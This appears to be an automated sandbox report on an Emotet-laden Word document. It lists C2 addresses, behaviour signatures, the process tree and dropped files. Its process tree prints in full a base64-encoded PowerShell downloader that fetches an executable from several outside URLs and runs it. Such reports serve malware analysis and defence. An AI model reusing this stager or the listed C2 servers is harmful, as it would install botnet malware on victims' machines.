Analysis

  • max time kernel
    91s
  • max time network
    143s
  • resource
    win10

General

  • Target

    Docs_129a4380ebaff7cfc82bfe05e7d282ff.1

  • Sample

    191016-3cr9crq32s

  • SHA256

    012987f43b78cbbd7648fd8fbd4660423486e120f0a42cb155b0169a1f928e45

Score
N/A

Malware Config

Extracted

Family

emotet

C2

181.59.253.20:21

14.160.93.230:80

74.208.68.48:8080

104.131.58.132:8080

68.183.190.199:8080

62.75.143.100:7080

159.203.204.126:8080

151.80.142.33:80

123.168.4.66:22

46.28.111.142:7080

46.101.212.195:8080

183.82.97.25:80

190.10.194.42:8080

217.199.160.224:8080

186.1.41.111:443

185.86.148.222:8080

185.187.198.10:8080

200.57.102.71:8443

114.79.134.129:443

80.85.87.122:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Executes dropped EXE
  • Emotet Sync 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam
  • Drops file in system dir 6 IoCs
  • emotet family

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.1.doc" /o ""
    1⤵
    • Drops Office document
    • Checks system information in the registry (likely anti-VM)
    • Enumerates system info in registry
    • Checks processor information in registry (likely anti-VM)
    PID:976
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3720
  • C:\Windows\System32\SLUI.exe
    "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
    1⤵
      PID:1308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAEQARABCAEEARwBRAEEANABBADEAQQBBAD0AJwBBAHcAQQBCAEMAeABBAEcARwBBACcAOwAkAEIAQQBBAFgAVQBfAHgAdwAxACAAPQAgACcANQAwADYAJwA7ACQAVwBBADQAQQBBAEEAQwBCAEQAXwBCAFEAPQAnAFUAawBBAEQAMQB3AGMAXwAnADsAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgBBAEEAWABVAF8AeAB3ADEAKwAnAC4AZQB4AGUAJwA7ACQAVABDAEEAWgBBAEcAVQBBAD0AJwBKAEMAXwBBAEEAVQB4AEIAQQBRAEIAUQAnADsAJABSAHgAVQBBAEEANABVAHcAUQBBAEEAQQB3AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBiAEMAbABJAEUATgBUADsAJABDAEEAWgAxAFUANABBAEIARwBfAEEAQQBBAD0AJwBoAHQAdABwAHMAOgAvAC8AeQBvAHUAcgBnAHAAcwBoAGUAbABwAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoADYAMgAyADgANAAwADAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAHkAbwBrAHUAcwBoAGkAbgBtAGkAZABkAGwAZQBlAGEAcwB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA0AGgAbwBiAHMAOAA4ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGEAbQBhAGsAbwBzAGgAaQBzAGEAbgBjAGgAYQByAC4AYwBvAG0ALwBoAHQAaAB6ADkAMQAvAGsANgBpAGwAeQBjAHgAMwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGUAcgBnAGEAbQBhAGUAZwBlAHMAbwBuAGQAYQBqAC4AYwBvAG0ALwAxAHQAMgAwADEAMQAxAHkANgAzAC8AaQBjADUANQAwADEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG8AcgBnAGEAbgBpAHoAZQByAHMAbwBuAGQAZQBtAGEAbgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANgB2AHQAZAA3ADMAMAA0AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAEcAUQBDAEQAWAB3AFEAVQBCAFEAQQBCAGsAPQAnAFMAQQBBAEIAQQBHAG8ARwBaAEEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAgAGkAbgAgACQAQwBBAFoAMQBVADQAQQBCAEcAXwBBAEEAQQApAHsAdAByAHkAewAkAFIAeABVAEEAQQA0AFUAdwBRAEEAQQBBAHcALgAiAEQAYABvAFcATgBsAGAATwBhAGQARgBpAGAATABFACIAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAsACAAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABLAEIAQQBaAEMAUQBjAEEAbwA9ACcATgBjAGMAYwBEAEEAQwBBACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVQBEAFUAYwBfAEEAQQAxAEEAXwBBADEAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANQAzADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABZAFUAQQB3AFUAMQBEAG8APQAnAEgAeABVAEIAQQBBAEQAQQBBACcAOwBiAHIAZQBhAGsAOwAkAFoAeAAxAEIAQQBVAFEAQQBCAGsAQQA9ACcAWABBAEEAVQBBAFUAbwBjADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA0AFUAMQBvAEIAVQBrAFUAPQAnAFIAXwBBAGMANAA0AEEAbwBEAEcARABrAEcAJwA=
      1⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      PID:2836
    • C:\Users\Admin\506.exe
      "C:\Users\Admin\506.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3344
    • C:\Users\Admin\506.exe
      --dec73219
      1⤵
      • Emotet Sync
      • Drops file in system dir
      PID:2064
    • C:\Windows\SysWOW64\tabletmspterm.exe
      "C:\Windows\SysWOW64\tabletmspterm.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3328
    • C:\Windows\SysWOW64\tabletmspterm.exe
      --356fff06
      1⤵
      • Drops file in system dir
      PID:4088

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\506.exe

    • C:\Users\Admin\506.exe

    • C:\Users\Admin\506.exe

    • C:\Windows\SysWOW64\tabletmspterm.exe

    • C:\Windows\SysWOW64\tabletmspterm.exe

    • memory/2064-9-0x0000000001F70000-0x0000000001F87000-memory.dmp

      Filesize

      92KB

    • memory/2064-10-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/3328-12-0x0000000000580000-0x0000000000597000-memory.dmp

      Filesize

      92KB

    • memory/3344-7-0x00000000004F0000-0x0000000000507000-memory.dmp

      Filesize

      92KB

    • memory/4088-14-0x0000000000E00000-0x0000000000E17000-memory.dmp

      Filesize

      92KB

    • memory/4088-15-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB